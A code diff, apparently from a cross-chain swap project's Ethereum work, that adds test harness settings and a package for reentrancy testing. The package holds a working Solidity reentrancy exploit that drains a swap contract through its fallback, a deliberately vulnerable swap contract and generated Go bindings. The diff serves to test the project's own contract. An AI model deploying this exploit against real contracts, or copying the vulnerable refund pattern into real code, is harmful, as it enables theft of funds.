+# TESTING_ADDRESS is used by the client's internal node. +TESTING_ADDRESS="b6de8bb5ed28e6be6d671975cad20c03931be981" + +ETH_SWAP_V0="608060405234801561001057600080fd5b50610784806100206000396000f3fe60806040526004361061004a5760003560e01c80637249fbb61461004f57806376467cbd14610071578063ae052147146100a7578063b31597ad146100ba578063eb84e7f2146100da575b600080fd5b34801561005b57600080fd5b5061006f61006a36600461057d565b61015c565b005b34801561007d57600080fd5b5061009161008c36600461057d565b61025e565b60405161009e9190610673565b60405180910390f35b61006f6100b53660046105d1565b610349565b3480156100c657600080fd5b5061006f6100d53660046105af565b61040e565b3480156100e657600080fd5b506101486100f536600461057d565b6000602081905290815260409020805460018201546002830154600384015460048501546005860154600687015460079097015495969495939492936001600160a01b0392831693919092169160ff1688565b60405161009e9897969594939291906106e3565b32331461016857600080fd5b80600160008281526020819052604090206007015460ff16600381111561019157610191610738565b1461019b57600080fd5b6000818152602081905260409020600401546001600160a01b031633146101c157600080fd5b600081815260208190526040902060010154428111156101e057600080fd5b60008381526020819052604080822060078101805460ff191660031790556006015490513391908381818185875af1925050503d806000811461023f576040519150601f19603f3d011682016040523d82523d6000602084013e610244565b606091505b509091505060018115151461025857600080fd5b50505050565b6102a36040805161010081018252600080825260208201819052918101829052606081018290526080810182905260a0810182905260c081018290529060e082015290565b6000828152602081815260409182902082516101008101845281548152600182015492810192909252600281015492820192909252600380830154606083015260048301546001600160a01b03908116608084015260058401541660a0830152600683015460c0830152600783015491929160e084019160ff9091169081111561032f5761032f610738565b600381111561034057610340610738565b90525092915050565b826000341161035757600080fd5b6000811161036457600080fd5b32331461037057600080fd5b826000808281526020819052604090206007015460ff16600381111561039857610398610738565b146103a257600080fd5b6000848152602081905260409020438155600180820187905560028201869055600482018054336001600160a01b0319918216179091556005830180549091166001600160a01b0387161790553460068301556007909101805460ff1916828002179055505050505050565b32331461041a57600080fd5b8082600160008381526020819052604090206007015460ff16600381111561044457610444610738565b1461044e57600080fd5b6000828152602081905260409020600501546001600160a01b0316331461047457600080fd5b8160028260405160200161048a91815260200190565b60408051601f19818403018152908290526104a491610638565b602060405180830381855afa1580156104c1573d6000803e3d6000fd5b5050506040513d601f19601f820116820180604052508101906104e49190610596565b146104ee57600080fd5b60008381526020819052604080822060078101805460ff191660021790556006015490513391908381818185875af1925050503d806000811461054d576040519150601f19603f3d011682016040523d82523d6000602084013e610552565b606091505b509091505060018115151461056657600080fd5b505050600090815260208190526040902060030155565b60006020828403121561058f57600080fd5b5035919050565b6000602082840312156105a857600080fd5b5051919050565b600080604083850312156105c257600080fd5b50508035926020909101359150565b6000806000606084860312156105e657600080fd5b833592506020840135915060408401356001600160a01b038116811461060b57600080fd5b809150509250925092565b6004811061063457634e487b7160e01b600052602160045260246000fd5b9052565b6000825160005b81811015610659576020818601810151858301520161063f565b81811115610668576000828501525b509190910192915050565b60006101008201905082518252602083015160208301526040830151604083015260608301516060830152608083015160018060a01b0380821660808501528060a08601511660a0850152505060c083015160c083015260e08301516106dc60e0840182610616565b5092915050565b8881526020810188905260408101879052606081018690526001600160a01b038581166080830152841660a082015260c08101839052610100810161072b60e0830184610616565b9998505050505050505050565b634e487b7160e01b600052602160045260246000fdfea2646970667358221220f5008532d651b31b24a7d133ff5dd0c4461e5f6339f32c9d551cb9cf81107e6b64736f6c63430008060033" + # PASSWORD is the password used to unlock all accounts/wallets/addresses. PASSWORD="abc" @@ -92,7 +97,7 @@ cat > "${NODES_ROOT}/genesis.json" < "${NODES_ROOT}/harness-ctl/deploy.js" < "${NODES_ROOT}/harness-ctl/contractAddress.js" < "${NODES_ROOT}/contract_addr.txt" < ./internal/eth/reentryattack + require ( decred.org/dcrwallet/v2 v2.0.0-20210714172147-8815838443cd github.com/btcsuite/btcd v0.20.1-beta.0.20200615134404-e4f59022a387 @@ -24,7 +26,7 @@ require ( github.com/decred/dcrd/wire v1.4.1-0.20210715032435-c9521b468f95 github.com/decred/go-socks v1.1.0 github.com/decred/slog v1.1.0 - github.com/ethereum/go-ethereum v1.10.6-0.20210715235240-f05419f0fb8c + github.com/ethereum/go-ethereum v1.10.6 github.com/gcash/bchd v0.17.2-0.20201218180520-5708823e0e99 github.com/gcash/bchutil v0.0.0-20210113190856-6ea28dff4000 github.com/go-chi/chi/v5 v5.0.1 diff --git a/go.sum b/go.sum index c1d6283388..417295b33f 100644 --- a/go.sum +++ b/go.sum @@ -208,8 +208,8 @@ github.com/envoyproxy/go-control-plane v0.9.0/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymF github.com/envoyproxy/go-control-plane v0.9.1-0.20191026205805-5f8ba28d4473/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4= github.com/envoyproxy/go-control-plane v0.9.4/go.mod h1:6rpuAdCZL397s3pYoYcLgu1mIlRU8Am5FuJP05cCM98= github.com/envoyproxy/protoc-gen-validate v0.1.0/go.mod h1:iSmxcyjqTsJpI2R4NaDN7+kN2VEUnK/pcBlmesArF7c= -github.com/ethereum/go-ethereum v1.10.6-0.20210715235240-f05419f0fb8c h1:9xWXqtfz8QUXO2ruCpv7HDf7SUNZ/AJE2OH3EOHa/Cw= -github.com/ethereum/go-ethereum v1.10.6-0.20210715235240-f05419f0fb8c/go.mod h1:iY/t0vHSmaAOC+xlqvAAeHdGSWNFkfSnN0OhMTDYz90= +github.com/ethereum/go-ethereum v1.10.6 h1:bfx3rqWgw768vn6ioxTk8pPNe4IaRzVgRlrS35B43es= +github.com/ethereum/go-ethereum v1.10.6/go.mod h1:iY/t0vHSmaAOC+xlqvAAeHdGSWNFkfSnN0OhMTDYz90= github.com/fatih/color v1.7.0/go.mod h1:Zm6kSWBoL9eyXnKyktHP6abPY2pDugNf5KwzbycvMj4= github.com/fjl/memsize v0.0.0-20190710130421-bcb5799ab5e5 h1:FtmdgXiUlNeRsoNMFlKLDt+S+6hbjVMEW6RGQ7aUf7c= github.com/fjl/memsize v0.0.0-20190710130421-bcb5799ab5e5/go.mod h1:VvhXpOYNQvB+uIk2RvXzuaQtkQJzzIx6lSBe1xv7hi0= diff --git a/internal/eth/reentryattack/README.md b/internal/eth/reentryattack/README.md new file mode 100644 index 0000000000..361937c971 --- /dev/null +++ b/internal/eth/reentryattack/README.md @@ -0,0 +1,22 @@ +## Reentry Contract Creation + +Have `solc` and `abigen` installed on your system and run from this directory: + +`abigen --sol ReentryAttack.sol --pkg reentryattack --out ./contract.go` + + +## Reentry Contract Usage + +In order to see the effects of a reentry attack on a vulnerable contract, +VulnerableToReentryAttack.sol can be used. + +First repace the current dex contract bindings with the vulnerable contract. + +`abigen --sol VulnerableToReentryAttack.sol --pkg eth --out ../../../dex/networks/eth/contract.go` + +Then, the contract's hex in the newly created contract.go file must be used in +the harness, which deploys the contract used for testing, by replacing the hex +there and restarting the harness. + +Finally, the harness tests in client/asset/eth contains a test that should fail +and show that indeed funds can be siphoned from the vulnerable contract. diff --git a/internal/eth/reentryattack/ReentryAttack.sol b/internal/eth/reentryattack/ReentryAttack.sol new file mode 100644 index 0000000000..d836df7cc8 --- /dev/null +++ b/internal/eth/reentryattack/ReentryAttack.sol @@ -0,0 +1,62 @@ +// SPDX-License-Identifier: BlueOak-1.0.0 +pragma solidity >=0.7.0 <0.9.0; + +// The arguments and returns from the swap contract. These may need to be +// updated in the future if the contract changes. +interface ethswap { + function initiate(uint refundTimestamp, bytes32 secretHash, address participant) payable external; + function refund(bytes32 secretHash) external; +} + +// ReentryAttack is able to perform a reetry attack to siphon all funds from a +// vulnerable dex contract. +contract ReentryAttack { + + address public owner; + bytes32 secretHash; + ethswap swapper; + + constructor() { + owner = msg.sender; + } + + // Set up variables used in the attack and initiate a swap. + function setUsUpTheBomb(address es, bytes32 sh, uint refundTimestamp, address participant) + public + payable + { + swapper = ethswap(es); + secretHash = sh; + // Have the contract initiate to make it msg.sender. + swapper.initiate{value: msg.value}(refundTimestamp, secretHash, participant); + } + + // Refund a swap after it's locktime has passed. + function allYourBase() + public + { + swapper.refund(secretHash); + } + + // fallback is called EVERY time this contract is sent funds. When the dex + // swap tranfers us funds, for instance during refund, we are able to call + // refund again before that method returns. If the swap contract does not + // check the state properly, does not deny contracts from using, and does + // not throw on a certain about of gas usage, we are able to get unintended + // funds belonging to the contract's address. + fallback () + external + payable + { + if (address(this).balance < 5 ether) { + allYourBase(); + } + } + + // Send all funds back to the owner. + function areBelongToUs() + public + { + payable(owner).transfer(address(this).balance); + } +} diff --git a/internal/eth/reentryattack/VulnerableToReentryAttack.sol b/internal/eth/reentryattack/VulnerableToReentryAttack.sol new file mode 100644 index 0000000000..40bd43aa0f --- /dev/null +++ b/internal/eth/reentryattack/VulnerableToReentryAttack.sol @@ -0,0 +1,92 @@ +// SPDX-License-Identifier: BlueOak-1.0.0 +pragma solidity >=0.7.0 <0.9.0; +contract ETHSwap { + enum State { Empty, Filled, Redeemed, Refunded } + + struct Swap { + uint initBlockNumber; + uint refundBlockTimestamp; + bytes32 secretHash; + bytes32 secret; + address initiator; + address participant; + uint256 value; + State state; + } + + mapping(bytes32 => Swap) public swaps; + + constructor() {} + + modifier isRefundable(bytes32 secretHash, address refunder) { + require(swaps[secretHash].state == State.Filled); + require(swaps[secretHash].initiator == refunder); + uint refundBlockTimestamp = swaps[secretHash].refundBlockTimestamp; + require(block.timestamp >= refundBlockTimestamp); + _; + } + + modifier isRedeemable(bytes32 secretHash, bytes32 secret, address redeemer) { + require(swaps[secretHash].state == State.Filled); + require(swaps[secretHash].participant == redeemer); + require(sha256(abi.encodePacked(secret)) == secretHash); + _; + } + + modifier isNotInitiated(bytes32 secretHash) { + require(swaps[secretHash].state == State.Empty); + _; + } + + modifier hasNoNilValues(uint refundTime) { + require(msg.value > 0); + require(refundTime > 0); + _; + } + + modifier senderIsOrigin() { + require(tx.origin == msg.sender); + _; + } + + function swap(bytes32 secretHash) + public view returns(Swap memory) + { + return swaps[secretHash]; + } + + function initiate(uint refundTimestamp, bytes32 secretHash, address participant) + public + payable + hasNoNilValues(refundTimestamp) + isNotInitiated(secretHash) + { + swaps[secretHash].initBlockNumber = block.number; + swaps[secretHash].refundBlockTimestamp = refundTimestamp; + swaps[secretHash].secretHash = secretHash; + swaps[secretHash].initiator = msg.sender; + swaps[secretHash].participant = participant; + swaps[secretHash].value = msg.value; + swaps[secretHash].state = State.Filled; + } + + function redeem(bytes32 secret, bytes32 secretHash) + public + senderIsOrigin() + isRedeemable(secretHash, secret, msg.sender) + { + swaps[secretHash].state = State.Redeemed; + (bool ok, ) = payable(msg.sender).call{value: swaps[secretHash].value}(""); + require(ok == true); + swaps[secretHash].secret = secret; + } + + function refund(bytes32 secretHash) + public + isRefundable(secretHash, msg.sender) + { + (bool ok, ) = payable(msg.sender).call{value: swaps[secretHash].value}(""); + require(ok == true); + swaps[secretHash].state = State.Refunded; + } +} diff --git a/internal/eth/reentryattack/contract.go b/internal/eth/reentryattack/contract.go new file mode 100644 index 0000000000..2f4bff839f --- /dev/null +++ b/internal/eth/reentryattack/contract.go @@ -0,0 +1,505 @@ +// Code generated - DO NOT EDIT. +// This file is a generated binding and any manual changes will be lost. + +package reentryattack + +import ( + "math/big" + "strings" + + ethereum "github.com/ethereum/go-ethereum" + "github.com/ethereum/go-ethereum/accounts/abi" + "github.com/ethereum/go-ethereum/accounts/abi/bind" + "github.com/ethereum/go-ethereum/common" + "github.com/ethereum/go-ethereum/core/types" + "github.com/ethereum/go-ethereum/event" +) + +// Reference imports to suppress errors if they are not otherwise used. +var ( + _ = big.NewInt + _ = strings.NewReader + _ = ethereum.NotFound + _ = bind.Bind + _ = common.Big1 + _ = types.BloomLookup + _ = event.NewSubscription +) + +// ReentryAttackABI is the input ABI used to generate the binding from. +const ReentryAttackABI = "[{\"inputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"constructor\"},{\"stateMutability\":\"payable\",\"type\":\"fallback\"},{\"inputs\":[],\"name\":\"allYourBase\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"areBelongToUs\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"owner\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"es\",\"type\":\"address\"},{\"internalType\":\"bytes32\",\"name\":\"sh\",\"type\":\"bytes32\"},{\"internalType\":\"uint256\",\"name\":\"refundTimestamp\",\"type\":\"uint256\"},{\"internalType\":\"address\",\"name\":\"participant\",\"type\":\"address\"}],\"name\":\"setUsUpTheBomb\",\"outputs\":[],\"stateMutability\":\"payable\",\"type\":\"function\"}]" + +// ReentryAttackFuncSigs maps the 4-byte function signature to its string representation. +var ReentryAttackFuncSigs = map[string]string{ + "8f110770": "allYourBase()", + "627599ee": "areBelongToUs()", + "8da5cb5b": "owner()", + "b9ce28a4": "setUsUpTheBomb(address,bytes32,uint256,address)", +} + +// ReentryAttackBin is the compiled bytecode used for deploying new contracts. +var ReentryAttackBin = "0x608060405234801561001057600080fd5b50600080546001600160a01b0319163317905561029b806100326000396000f3fe60806040526004361061003f5760003560e01c8063627599ee146100595780638da5cb5b1461006e5780638f110770146100aa578063b9ce28a4146100bf575b674563918244f40000471015610057576100576100d2565b005b34801561006557600080fd5b5061005761013b565b34801561007a57600080fd5b5060005461008e906001600160a01b031681565b6040516001600160a01b03909116815260200160405180910390f35b3480156100b657600080fd5b506100576100d2565b6100576100cd36600461021f565b610178565b600254600154604051633924fddb60e11b81526001600160a01b0390921691637249fbb6916101079160040190815260200190565b600060405180830381600087803b15801561012157600080fd5b505af1158015610135573d6000803e3d6000fd5b50505050565b600080546040516001600160a01b03909116914780156108fc02929091818181858888f19350505050158015610175573d6000803e3d6000fd5b50565b600280546001600160a01b0319166001600160a01b03868116918217909255600185905560405163ae05214760e01b8152600481018590526024810186905291831660448301529063ae0521479034906064016000604051808303818588803b1580156101e457600080fd5b505af11580156101f8573d6000803e3d6000fd5b505050505050505050565b80356001600160a01b038116811461021a57600080fd5b919050565b6000806000806080858703121561023557600080fd5b61023e85610203565b9350602085013592506040850135915061025a60608601610203565b90509295919450925056fea264697066735822122087499ba0a295a21147299615f7103b3bdfdc6292cd039ba269f142f15ff8105e64736f6c63430008060033" + +// DeployReentryAttack deploys a new Ethereum contract, binding an instance of ReentryAttack to it. +func DeployReentryAttack(auth *bind.TransactOpts, backend bind.ContractBackend) (common.Address, *types.Transaction, *ReentryAttack, error) { + parsed, err := abi.JSON(strings.NewReader(ReentryAttackABI)) + if err != nil { + return common.Address{}, nil, nil, err + } + + address, tx, contract, err := bind.DeployContract(auth, parsed, common.FromHex(ReentryAttackBin), backend) + if err != nil { + return common.Address{}, nil, nil, err + } + return address, tx, &ReentryAttack{ReentryAttackCaller: ReentryAttackCaller{contract: contract}, ReentryAttackTransactor: ReentryAttackTransactor{contract: contract}, ReentryAttackFilterer: ReentryAttackFilterer{contract: contract}}, nil +} + +// ReentryAttack is an auto generated Go binding around an Ethereum contract. +type ReentryAttack struct { + ReentryAttackCaller // Read-only binding to the contract + ReentryAttackTransactor // Write-only binding to the contract + ReentryAttackFilterer // Log filterer for contract events +} + +// ReentryAttackCaller is an auto generated read-only Go binding around an Ethereum contract. +type ReentryAttackCaller struct { + contract *bind.BoundContract // Generic contract wrapper for the low level calls +} + +// ReentryAttackTransactor is an auto generated write-only Go binding around an Ethereum contract. +type ReentryAttackTransactor struct { + contract *bind.BoundContract // Generic contract wrapper for the low level calls +} + +// ReentryAttackFilterer is an auto generated log filtering Go binding around an Ethereum contract events. +type ReentryAttackFilterer struct { + contract *bind.BoundContract // Generic contract wrapper for the low level calls +} + +// ReentryAttackSession is an auto generated Go binding around an Ethereum contract, +// with pre-set call and transact options. +type ReentryAttackSession struct { + Contract *ReentryAttack // Generic contract binding to set the session for + CallOpts bind.CallOpts // Call options to use throughout this session + TransactOpts bind.TransactOpts // Transaction auth options to use throughout this session +} + +// ReentryAttackCallerSession is an auto generated read-only Go binding around an Ethereum contract, +// with pre-set call options. +type ReentryAttackCallerSession struct { + Contract *ReentryAttackCaller // Generic contract caller binding to set the session for + CallOpts bind.CallOpts // Call options to use throughout this session +} + +// ReentryAttackTransactorSession is an auto generated write-only Go binding around an Ethereum contract, +// with pre-set transact options. +type ReentryAttackTransactorSession struct { + Contract *ReentryAttackTransactor // Generic contract transactor binding to set the session for + TransactOpts bind.TransactOpts // Transaction auth options to use throughout this session +} + +// ReentryAttackRaw is an auto generated low-level Go binding around an Ethereum contract. +type ReentryAttackRaw struct { + Contract *ReentryAttack // Generic contract binding to access the raw methods on +} + +// ReentryAttackCallerRaw is an auto generated low-level read-only Go binding around an Ethereum contract. +type ReentryAttackCallerRaw struct { + Contract *ReentryAttackCaller // Generic read-only contract binding to access the raw methods on +} + +// ReentryAttackTransactorRaw is an auto generated low-level write-only Go binding around an Ethereum contract. +type ReentryAttackTransactorRaw struct { + Contract *ReentryAttackTransactor // Generic write-only contract binding to access the raw methods on +} + +// NewReentryAttack creates a new instance of ReentryAttack, bound to a specific deployed contract. +func NewReentryAttack(address common.Address, backend bind.ContractBackend) (*ReentryAttack, error) { + contract, err := bindReentryAttack(address, backend, backend, backend) + if err != nil { + return nil, err + } + return &ReentryAttack{ReentryAttackCaller: ReentryAttackCaller{contract: contract}, ReentryAttackTransactor: ReentryAttackTransactor{contract: contract}, ReentryAttackFilterer: ReentryAttackFilterer{contract: contract}}, nil +} + +// NewReentryAttackCaller creates a new read-only instance of ReentryAttack, bound to a specific deployed contract. +func NewReentryAttackCaller(address common.Address, caller bind.ContractCaller) (*ReentryAttackCaller, error) { + contract, err := bindReentryAttack(address, caller, nil, nil) + if err != nil { + return nil, err + } + return &ReentryAttackCaller{contract: contract}, nil +} + +// NewReentryAttackTransactor creates a new write-only instance of ReentryAttack, bound to a specific deployed contract. +func NewReentryAttackTransactor(address common.Address, transactor bind.ContractTransactor) (*ReentryAttackTransactor, error) { + contract, err := bindReentryAttack(address, nil, transactor, nil) + if err != nil { + return nil, err + } + return &ReentryAttackTransactor{contract: contract}, nil +} + +// NewReentryAttackFilterer creates a new log filterer instance of ReentryAttack, bound to a specific deployed contract. +func NewReentryAttackFilterer(address common.Address, filterer bind.ContractFilterer) (*ReentryAttackFilterer, error) { + contract, err := bindReentryAttack(address, nil, nil, filterer) + if err != nil { + return nil, err + } + return &ReentryAttackFilterer{contract: contract}, nil +} + +// bindReentryAttack binds a generic wrapper to an already deployed contract. +func bindReentryAttack(address common.Address, caller bind.ContractCaller, transactor bind.ContractTransactor, filterer bind.ContractFilterer) (*bind.BoundContract, error) { + parsed, err := abi.JSON(strings.NewReader(ReentryAttackABI)) + if err != nil { + return nil, err + } + return bind.NewBoundContract(address, parsed, caller, transactor, filterer), nil +} + +// Call invokes the (constant) contract method with params as input values and +// sets the output to result. The result type might be a single field for simple +// returns, a slice of interfaces for anonymous returns and a struct for named +// returns. +func (_ReentryAttack *ReentryAttackRaw) Call(opts *bind.CallOpts, result *[]interface{}, method string, params ...interface{}) error { + return _ReentryAttack.Contract.ReentryAttackCaller.contract.Call(opts, result, method, params...) +} + +// Transfer initiates a plain transaction to move funds to the contract, calling +// its default method if one is available. +func (_ReentryAttack *ReentryAttackRaw) Transfer(opts *bind.TransactOpts) (*types.Transaction, error) { + return _ReentryAttack.Contract.ReentryAttackTransactor.contract.Transfer(opts) +} + +// Transact invokes the (paid) contract method with params as input values. +func (_ReentryAttack *ReentryAttackRaw) Transact(opts *bind.TransactOpts, method string, params ...interface{}) (*types.Transaction, error) { + return _ReentryAttack.Contract.ReentryAttackTransactor.contract.Transact(opts, method, params...) +} + +// Call invokes the (constant) contract method with params as input values and +// sets the output to result. The result type might be a single field for simple +// returns, a slice of interfaces for anonymous returns and a struct for named +// returns. +func (_ReentryAttack *ReentryAttackCallerRaw) Call(opts *bind.CallOpts, result *[]interface{}, method string, params ...interface{}) error { + return _ReentryAttack.Contract.contract.Call(opts, result, method, params...) +} + +// Transfer initiates a plain transaction to move funds to the contract, calling +// its default method if one is available. +func (_ReentryAttack *ReentryAttackTransactorRaw) Transfer(opts *bind.TransactOpts) (*types.Transaction, error) { + return _ReentryAttack.Contract.contract.Transfer(opts) +} + +// Transact invokes the (paid) contract method with params as input values. +func (_ReentryAttack *ReentryAttackTransactorRaw) Transact(opts *bind.TransactOpts, method string, params ...interface{}) (*types.Transaction, error) { + return _ReentryAttack.Contract.contract.Transact(opts, method, params...) +} + +// Owner is a free data retrieval call binding the contract method 0x8da5cb5b. +// +// Solidity: function owner() view returns(address) +func (_ReentryAttack *ReentryAttackCaller) Owner(opts *bind.CallOpts) (common.Address, error) { + var out []interface{} + err := _ReentryAttack.contract.Call(opts, &out, "owner") + + if err != nil { + return *new(common.Address), err + } + + out0 := *abi.ConvertType(out[0], new(common.Address)).(*common.Address) + + return out0, err + +} + +// Owner is a free data retrieval call binding the contract method 0x8da5cb5b. +// +// Solidity: function owner() view returns(address) +func (_ReentryAttack *ReentryAttackSession) Owner() (common.Address, error) { + return _ReentryAttack.Contract.Owner(&_ReentryAttack.CallOpts) +} + +// Owner is a free data retrieval call binding the contract method 0x8da5cb5b. +// +// Solidity: function owner() view returns(address) +func (_ReentryAttack *ReentryAttackCallerSession) Owner() (common.Address, error) { + return _ReentryAttack.Contract.Owner(&_ReentryAttack.CallOpts) +} + +// AllYourBase is a paid mutator transaction binding the contract method 0x8f110770. +// +// Solidity: function allYourBase() returns() +func (_ReentryAttack *ReentryAttackTransactor) AllYourBase(opts *bind.TransactOpts) (*types.Transaction, error) { + return _ReentryAttack.contract.Transact(opts, "allYourBase") +} + +// AllYourBase is a paid mutator transaction binding the contract method 0x8f110770. +// +// Solidity: function allYourBase() returns() +func (_ReentryAttack *ReentryAttackSession) AllYourBase() (*types.Transaction, error) { + return _ReentryAttack.Contract.AllYourBase(&_ReentryAttack.TransactOpts) +} + +// AllYourBase is a paid mutator transaction binding the contract method 0x8f110770. +// +// Solidity: function allYourBase() returns() +func (_ReentryAttack *ReentryAttackTransactorSession) AllYourBase() (*types.Transaction, error) { + return _ReentryAttack.Contract.AllYourBase(&_ReentryAttack.TransactOpts) +} + +// AreBelongToUs is a paid mutator transaction binding the contract method 0x627599ee. +// +// Solidity: function areBelongToUs() returns() +func (_ReentryAttack *ReentryAttackTransactor) AreBelongToUs(opts *bind.TransactOpts) (*types.Transaction, error) { + return _ReentryAttack.contract.Transact(opts, "areBelongToUs") +} + +// AreBelongToUs is a paid mutator transaction binding the contract method 0x627599ee. +// +// Solidity: function areBelongToUs() returns() +func (_ReentryAttack *ReentryAttackSession) AreBelongToUs() (*types.Transaction, error) { + return _ReentryAttack.Contract.AreBelongToUs(&_ReentryAttack.TransactOpts) +} + +// AreBelongToUs is a paid mutator transaction binding the contract method 0x627599ee. +// +// Solidity: function areBelongToUs() returns() +func (_ReentryAttack *ReentryAttackTransactorSession) AreBelongToUs() (*types.Transaction, error) { + return _ReentryAttack.Contract.AreBelongToUs(&_ReentryAttack.TransactOpts) +} + +// SetUsUpTheBomb is a paid mutator transaction binding the contract method 0xb9ce28a4. +// +// Solidity: function setUsUpTheBomb(address es, bytes32 sh, uint256 refundTimestamp, address participant) payable returns() +func (_ReentryAttack *ReentryAttackTransactor) SetUsUpTheBomb(opts *bind.TransactOpts, es common.Address, sh [32]byte, refundTimestamp *big.Int, participant common.Address) (*types.Transaction, error) { + return _ReentryAttack.contract.Transact(opts, "setUsUpTheBomb", es, sh, refundTimestamp, participant) +} + +// SetUsUpTheBomb is a paid mutator transaction binding the contract method 0xb9ce28a4. +// +// Solidity: function setUsUpTheBomb(address es, bytes32 sh, uint256 refundTimestamp, address participant) payable returns() +func (_ReentryAttack *ReentryAttackSession) SetUsUpTheBomb(es common.Address, sh [32]byte, refundTimestamp *big.Int, participant common.Address) (*types.Transaction, error) { + return _ReentryAttack.Contract.SetUsUpTheBomb(&_ReentryAttack.TransactOpts, es, sh, refundTimestamp, participant) +} + +// SetUsUpTheBomb is a paid mutator transaction binding the contract method 0xb9ce28a4. +// +// Solidity: function setUsUpTheBomb(address es, bytes32 sh, uint256 refundTimestamp, address participant) payable returns() +func (_ReentryAttack *ReentryAttackTransactorSession) SetUsUpTheBomb(es common.Address, sh [32]byte, refundTimestamp *big.Int, participant common.Address) (*types.Transaction, error) { + return _ReentryAttack.Contract.SetUsUpTheBomb(&_ReentryAttack.TransactOpts, es, sh, refundTimestamp, participant) +} + +// Fallback is a paid mutator transaction binding the contract fallback function. +// +// Solidity: fallback() payable returns() +func (_ReentryAttack *ReentryAttackTransactor) Fallback(opts *bind.TransactOpts, calldata []byte) (*types.Transaction, error) { + return _ReentryAttack.contract.RawTransact(opts, calldata) +} + +// Fallback is a paid mutator transaction binding the contract fallback function. +// +// Solidity: fallback() payable returns() +func (_ReentryAttack *ReentryAttackSession) Fallback(calldata []byte) (*types.Transaction, error) { + return _ReentryAttack.Contract.Fallback(&_ReentryAttack.TransactOpts, calldata) +} + +// Fallback is a paid mutator transaction binding the contract fallback function. +// +// Solidity: fallback() payable returns() +func (_ReentryAttack *ReentryAttackTransactorSession) Fallback(calldata []byte) (*types.Transaction, error) { + return _ReentryAttack.Contract.Fallback(&_ReentryAttack.TransactOpts, calldata) +} + +// EthswapABI is the input ABI used to generate the binding from. +const EthswapABI = "[{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"refundTimestamp\",\"type\":\"uint256\"},{\"internalType\":\"bytes32\",\"name\":\"secretHash\",\"type\":\"bytes32\"},{\"internalType\":\"address\",\"name\":\"participant\",\"type\":\"address\"}],\"name\":\"initiate\",\"outputs\":[],\"stateMutability\":\"payable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bytes32\",\"name\":\"secretHash\",\"type\":\"bytes32\"}],\"name\":\"refund\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}]" + +// EthswapFuncSigs maps the 4-byte function signature to its string representation. +var EthswapFuncSigs = map[string]string{ + "ae052147": "initiate(uint256,bytes32,address)", + "7249fbb6": "refund(bytes32)", +} + +// Ethswap is an auto generated Go binding around an Ethereum contract. +type Ethswap struct { + EthswapCaller // Read-only binding to the contract + EthswapTransactor // Write-only binding to the contract + EthswapFilterer // Log filterer for contract events +} + +// EthswapCaller is an auto generated read-only Go binding around an Ethereum contract. +type EthswapCaller struct { + contract *bind.BoundContract // Generic contract wrapper for the low level calls +} + +// EthswapTransactor is an auto generated write-only Go binding around an Ethereum contract. +type EthswapTransactor struct { + contract *bind.BoundContract // Generic contract wrapper for the low level calls +} + +// EthswapFilterer is an auto generated log filtering Go binding around an Ethereum contract events. +type EthswapFilterer struct { + contract *bind.BoundContract // Generic contract wrapper for the low level calls +} + +// EthswapSession is an auto generated Go binding around an Ethereum contract, +// with pre-set call and transact options. +type EthswapSession struct { + Contract *Ethswap // Generic contract binding to set the session for + CallOpts bind.CallOpts // Call options to use throughout this session + TransactOpts bind.TransactOpts // Transaction auth options to use throughout this session +} + +// EthswapCallerSession is an auto generated read-only Go binding around an Ethereum contract, +// with pre-set call options. +type EthswapCallerSession struct { + Contract *EthswapCaller // Generic contract caller binding to set the session for + CallOpts bind.CallOpts // Call options to use throughout this session +} + +// EthswapTransactorSession is an auto generated write-only Go binding around an Ethereum contract, +// with pre-set transact options. +type EthswapTransactorSession struct { + Contract *EthswapTransactor // Generic contract transactor binding to set the session for + TransactOpts bind.TransactOpts // Transaction auth options to use throughout this session +} + +// EthswapRaw is an auto generated low-level Go binding around an Ethereum contract. +type EthswapRaw struct { + Contract *Ethswap // Generic contract binding to access the raw methods on +} + +// EthswapCallerRaw is an auto generated low-level read-only Go binding around an Ethereum contract. +type EthswapCallerRaw struct { + Contract *EthswapCaller // Generic read-only contract binding to access the raw methods on +} + +// EthswapTransactorRaw is an auto generated low-level write-only Go binding around an Ethereum contract. +type EthswapTransactorRaw struct { + Contract *EthswapTransactor // Generic write-only contract binding to access the raw methods on +} + +// NewEthswap creates a new instance of Ethswap, bound to a specific deployed contract. +func NewEthswap(address common.Address, backend bind.ContractBackend) (*Ethswap, error) { + contract, err := bindEthswap(address, backend, backend, backend) + if err != nil { + return nil, err + } + return &Ethswap{EthswapCaller: EthswapCaller{contract: contract}, EthswapTransactor: EthswapTransactor{contract: contract}, EthswapFilterer: EthswapFilterer{contract: contract}}, nil +} + +// NewEthswapCaller creates a new read-only instance of Ethswap, bound to a specific deployed contract. +func NewEthswapCaller(address common.Address, caller bind.ContractCaller) (*EthswapCaller, error) { + contract, err := bindEthswap(address, caller, nil, nil) + if err != nil { + return nil, err + } + return &EthswapCaller{contract: contract}, nil +} + +// NewEthswapTransactor creates a new write-only instance of Ethswap, bound to a specific deployed contract. +func NewEthswapTransactor(address common.Address, transactor bind.ContractTransactor) (*EthswapTransactor, error) { + contract, err := bindEthswap(address, nil, transactor, nil) + if err != nil { + return nil, err + } + return &EthswapTransactor{contract: contract}, nil +} + +// NewEthswapFilterer creates a new log filterer instance of Ethswap, bound to a specific deployed contract. +func NewEthswapFilterer(address common.Address, filterer bind.ContractFilterer) (*EthswapFilterer, error) { + contract, err := bindEthswap(address, nil, nil, filterer) + if err != nil { + return nil, err + } + return &EthswapFilterer{contract: contract}, nil +} + +// bindEthswap binds a generic wrapper to an already deployed contract. +func bindEthswap(address common.Address, caller bind.ContractCaller, transactor bind.ContractTransactor, filterer bind.ContractFilterer) (*bind.BoundContract, error) { + parsed, err := abi.JSON(strings.NewReader(EthswapABI)) + if err != nil { + return nil, err + } + return bind.NewBoundContract(address, parsed, caller, transactor, filterer), nil +} + +// Call invokes the 